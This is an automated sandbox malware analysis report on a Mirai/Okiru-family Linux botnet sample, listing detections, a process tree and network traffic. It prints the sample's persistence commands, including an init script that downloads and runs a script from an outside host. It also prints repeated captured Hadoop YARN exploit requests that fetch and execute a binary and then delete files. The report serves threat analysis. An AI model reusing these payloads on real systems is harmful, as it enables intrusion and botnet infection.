Edit tour

Linux Analysis Report
tVdq8lEt3e.elf

Overview

General Information

Sample name:	tVdq8lEt3e.elf renamed because original name is a hash value
Original sample name:	549627b2ba0ef60640456a03a70e46d4c45726443fd9ac4f48bddb8aab625c9b.raw.elf
Analysis ID:	1509740
MD5:	c42ba46f2b693cfe8b9ce093e62d5844
SHA1:	f75f1265592f74362a6167061ad33a7627abcdc0
SHA256:	549627b2ba0ef60640456a03a70e46d4c45726443fd9ac4f48bddb8aab625c9b
Tags:	elf
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509740
Start date and time:	2024-09-12 00:36:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	tVdq8lEt3e.elf renamed because original name is a hash value
Original Sample Name:	549627b2ba0ef60640456a03a70e46d4c45726443fd9ac4f48bddb8aab625c9b.raw.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/11@0/0

Runtime Messages

Command:	/tmp/tVdq8lEt3e.elf
PID:	6221
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Attempting to bind on address 0.0.0.0
Standard Error:

Process Tree

system is lnxubuntu20

tVdq8lEt3e.elf (PID: 6221, Parent: 6136, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/tVdq8lEt3e.elf

tVdq8lEt3e.elf New Fork (PID: 6223, Parent: 6221)

tVdq8lEt3e.elf New Fork (PID: 6225, Parent: 6221)

sh (PID: 6225, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 6227, Parent: 6225)

systemctl (PID: 6227, Parent: 6225, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

tVdq8lEt3e.elf New Fork (PID: 6241, Parent: 6221)

sh (PID: 6241, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"

sh New Fork (PID: 6247, Parent: 6241)

chmod (PID: 6247, Parent: 6241, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/mybinary

tVdq8lEt3e.elf New Fork (PID: 6248, Parent: 6221)

sh (PID: 6248, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"

sh New Fork (PID: 6250, Parent: 6248)

ln (PID: 6250, Parent: 6248, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary

tVdq8lEt3e.elf New Fork (PID: 6251, Parent: 6221)

sh (PID: 6251, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/tVdq8lEt3e.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting tVdq8lEt3e.elf'\n /tmp/tVdq8lEt3e.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping tVdq8lEt3e.elf'\n killall tVdq8lEt3e.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/tVdq8lEt3e.elf"

tVdq8lEt3e.elf New Fork (PID: 6253, Parent: 6221)

sh (PID: 6253, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "chmod +x /etc/init.d/tVdq8lEt3e.elf >/dev/null 2>&1"

sh New Fork (PID: 6255, Parent: 6253)

chmod (PID: 6255, Parent: 6253, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/tVdq8lEt3e.elf

tVdq8lEt3e.elf New Fork (PID: 6256, Parent: 6221)

sh (PID: 6256, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 6261, Parent: 6256)

mkdir (PID: 6261, Parent: 6256, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

tVdq8lEt3e.elf New Fork (PID: 6262, Parent: 6221)

sh (PID: 6262, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "ln -s /etc/init.d/tVdq8lEt3e.elf /etc/rc.d/S99tVdq8lEt3e.elf >/dev/null 2>&1"

sh New Fork (PID: 6264, Parent: 6262)

ln (PID: 6264, Parent: 6262, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/tVdq8lEt3e.elf /etc/rc.d/S99tVdq8lEt3e.elf

tVdq8lEt3e.elf New Fork (PID: 6265, Parent: 6221)

tVdq8lEt3e.elf New Fork (PID: 6267, Parent: 6265)

tVdq8lEt3e.elf New Fork (PID: 6269, Parent: 6265)

systemd New Fork (PID: 6229, Parent: 6228)

snapd-env-generator (PID: 6229, Parent: 6228, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 6272, Parent: 1477)

sh (PID: 6272, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6272, Parent: 1477, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
tVdq8lEt3e.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
tVdq8lEt3e.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
tVdq8lEt3e.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: tVdq8lEt3e.elf PID: 6221	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: tVdq8lEt3e.elf PID: 6221	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: tVdq8lEt3e.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: tVdq8lEt3e.elf

ReversingLabs: Detection: 44%

Source: tVdq8lEt3e.elf

String: wgetcurlping/pswiresharktcpdumpnetstatpythonbusyboxiptablesnanonvimvimgdbpkillkillallapt/dev/watchdog/dev/misc/watchdoggorilla botnet is on the device ur not a cat go away/var/igorillaThe Gorilla Botnet Cats Came After You!kwws=22shq1jruloodiluhzdoo1vx2oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 45.202.35.64 ports 38241,1,2,3,4,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 45478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38258 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 45162 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52626 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46346 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46346 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 48256 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42658 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 37442 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52634 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41508 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 46942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52914 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 54040 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 54394 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 38942 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 53396 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 40538 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 47320 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088

Source: global traffic	TCP traffic: 192.168.2.23:43944 -> 151.210.79.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:33766 -> 45.202.35.64:38241
Source: global traffic	TCP traffic: 192.168.2.23:49714 -> 76.204.79.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:48330 -> 133.194.79.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:57172 -> 94.220.79.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:53248 -> 106.99.156.126:8088
Source: global traffic	TCP traffic: 192.168.2.23:44124 -> 154.216.17.220:38241
Source: global traffic	TCP traffic: 192.168.2.23:36878 -> 89.237.185.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:59458 -> 91.92.246.113:38241
Source: global traffic	TCP traffic: 192.168.2.23:37102 -> 78.220.79.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:49488 -> 222.102.85.235:8088
Source: global traffic	TCP traffic: 192.168.2.23:54658 -> 200.141.63.82:8088
Source: global traffic	TCP traffic: 192.168.2.23:45478 -> 52.160.110.126:8088
Source: global traffic	TCP traffic: 192.168.2.23:53914 -> 93.123.85.166:38241
Source: global traffic	TCP traffic: 192.168.2.23:49044 -> 27.174.203.118:8088
Source: global traffic	TCP traffic: 192.168.2.23:38258 -> 138.85.232.54:8088
Source: global traffic	TCP traffic: 192.168.2.23:45162 -> 82.207.23.152:8088
Source: global traffic	TCP traffic: 192.168.2.23:39082 -> 100.179.115.147:8088
Source: global traffic	TCP traffic: 192.168.2.23:52626 -> 103.108.227.184:8088
Source: global traffic	TCP traffic: 192.168.2.23:46346 -> 244.58.211.204:8088
Source: global traffic	TCP traffic: 192.168.2.23:50640 -> 99.17.152.234:8088
Source: global traffic	TCP traffic: 192.168.2.23:48256 -> 199.119.126.228:8088
Source: global traffic	TCP traffic: 192.168.2.23:58376 -> 123.191.93.71:8088
Source: global traffic	TCP traffic: 192.168.2.23:38034 -> 254.41.12.18:8088
Source: global traffic	TCP traffic: 192.168.2.23:56610 -> 213.49.53.56:8088
Source: global traffic	TCP traffic: 192.168.2.23:42658 -> 91.185.226.47:8088
Source: global traffic	TCP traffic: 192.168.2.23:37442 -> 187.125.238.133:8088
Source: global traffic	TCP traffic: 192.168.2.23:52634 -> 33.247.222.246:8088
Source: global traffic	TCP traffic: 192.168.2.23:58836 -> 182.203.244.103:8088
Source: global traffic	TCP traffic: 192.168.2.23:41508 -> 114.142.230.93:8088
Source: global traffic	TCP traffic: 192.168.2.23:46942 -> 208.35.19.171:8088
Source: global traffic	TCP traffic: 192.168.2.23:54884 -> 108.174.117.170:8088
Source: global traffic	TCP traffic: 192.168.2.23:44932 -> 207.65.222.48:8088
Source: global traffic	TCP traffic: 192.168.2.23:35222 -> 118.143.223.55:8088
Source: global traffic	TCP traffic: 192.168.2.23:59016 -> 115.202.13.183:8088
Source: global traffic	TCP traffic: 192.168.2.23:33516 -> 157.173.158.186:8088
Source: global traffic	TCP traffic: 192.168.2.23:49682 -> 56.83.140.120:8088
Source: global traffic	TCP traffic: 192.168.2.23:58104 -> 96.199.227.179:8088
Source: global traffic	TCP traffic: 192.168.2.23:52914 -> 61.221.100.106:8088
Source: global traffic	TCP traffic: 192.168.2.23:55982 -> 169.103.217.37:8088
Source: global traffic	TCP traffic: 192.168.2.23:60612 -> 185.229.214.63:8088
Source: global traffic	TCP traffic: 192.168.2.23:55228 -> 184.87.98.222:8088
Source: global traffic	TCP traffic: 192.168.2.23:44886 -> 242.135.104.48:8088
Source: global traffic	TCP traffic: 192.168.2.23:38494 -> 107.87.27.184:8088
Source: global traffic	TCP traffic: 192.168.2.23:54040 -> 81.209.218.53:8088
Source: global traffic	TCP traffic: 192.168.2.23:52146 -> 197.159.201.249:8088
Source: global traffic	TCP traffic: 192.168.2.23:57968 -> 25.192.234.141:8088
Source: global traffic	TCP traffic: 192.168.2.23:52328 -> 45.106.155.12:8088
Source: global traffic	TCP traffic: 192.168.2.23:51444 -> 204.235.25.185:8088
Source: global traffic	TCP traffic: 192.168.2.23:41746 -> 254.30.40.98:8088
Source: global traffic	TCP traffic: 192.168.2.23:47990 -> 5.178.90.206:8088
Source: global traffic	TCP traffic: 192.168.2.23:35558 -> 142.172.118.111:8088
Source: global traffic	TCP traffic: 192.168.2.23:54394 -> 112.144.139.77:8088
Source: global traffic	TCP traffic: 192.168.2.23:38942 -> 94.201.90.86:8088
Source: global traffic	TCP traffic: 192.168.2.23:42478 -> 31.240.32.116:8088
Source: global traffic	TCP traffic: 192.168.2.23:37500 -> 201.48.232.174:8088
Source: global traffic	TCP traffic: 192.168.2.23:35692 -> 116.61.241.191:8088
Source: global traffic	TCP traffic: 192.168.2.23:53396 -> 22.172.178.76:8088
Source: global traffic	TCP traffic: 192.168.2.23:50658 -> 49.179.51.163:8088
Source: global traffic	TCP traffic: 192.168.2.23:40366 -> 190.32.31.149:8088
Source: global traffic	TCP traffic: 192.168.2.23:35900 -> 155.39.86.162:8088
Source: global traffic	TCP traffic: 192.168.2.23:60474 -> 219.253.93.123:8088
Source: global traffic	TCP traffic: 192.168.2.23:57430 -> 186.99.201.69:8088
Source: global traffic	TCP traffic: 192.168.2.23:56838 -> 109.161.191.41:8088
Source: global traffic	TCP traffic: 192.168.2.23:40538 -> 62.49.198.58:8088
Source: global traffic	TCP traffic: 192.168.2.23:36662 -> 152.160.225.174:8088
Source: global traffic	TCP traffic: 192.168.2.23:47320 -> 77.210.59.160:8088
Source: global traffic	TCP traffic: 192.168.2.23:49788 -> 154.59.31.127:8088
Source: global traffic	TCP traffic: 192.168.2.23:52860 -> 129.177.89.220:8088
Source: global traffic	TCP traffic: 192.168.2.23:41466 -> 253.185.142.162:8088
Source: global traffic	TCP traffic: 192.168.2.23:39406 -> 137.226.163.11:8088
Source: global traffic	TCP traffic: 192.168.2.23:58336 -> 140.203.230.141:8088
Source: global traffic	TCP traffic: 192.168.2.23:44080 -> 8.182.34.156:8088
Source: global traffic	TCP traffic: 192.168.2.23:56504 -> 32.181.180.75:8088
Source: global traffic	TCP traffic: 192.168.2.23:46996 -> 117.161.23.95:8088

Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 133.194.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 133.194.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 78.220.79.118:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
